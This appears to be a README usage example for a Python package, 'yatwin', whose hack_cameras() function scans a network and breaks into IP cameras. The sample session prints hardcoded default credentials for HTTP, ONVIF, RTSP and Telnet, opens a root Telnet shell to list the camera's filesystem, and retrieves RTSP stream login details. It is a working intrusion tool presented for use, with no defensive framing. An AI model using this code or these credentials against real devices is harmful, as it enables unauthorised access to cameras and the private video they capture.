First, download and install wheel from: https://www.lfd.uci.edu/~gohlke/pythonlibs/#pyaudio (pip install path_to_wheel)
pip install .
>>> import yatwin.scripts
>>>
>>> # Scan network and hack any cameras it finds
>>> cams = yatwin.scripts.hack_cameras()
>>> cams
[<BaseHackedYatwin
(
http: <Http(admin:888888@192.168.1.223:80)>
icmp: <Icmp(192.168.1.223)>
onvif: <Onvif(admin:888888@192.168.1.223:10080)>
telnet: <Telnet(vstarcam2017:20170912@192.168.1.223:23)>
ftp: None
multicast: <Multicast()>
imap: None
rtsp: <Rtsp(admin:888888@192.168.1.223:10554)[udp/av1_0]>
)>]
>>>
>>> # Pick the first camera
>>> cam = cams[0]
>>>
>>> # Access the cameras Telnet interface
>>> cam.telnet
<Telnet(vstarcam2017:20170912@192.168.1.223:23)>
>>> print(cam.telnet.ls())
bin init mknod_console root tmp
boot lib mnt sbin usr
dev linuxrc nfsroot share var
etc lost+found opt sys
home mkimg.rootfs proc system
>>>
>>> from pprint import pprint
>>>
>>> # Get the cameras RTSP parameters using HTTP
>>> pprint(cam.http.get_rtsp())
{<SystemParam(rtspport)>: 10554,
<SystemParam(rtsppwd)>: '888888',
<SystemParam(rtspuser)>: 'admin',
<SystemParam(rtsp_auth_enable)>: 1}
>>>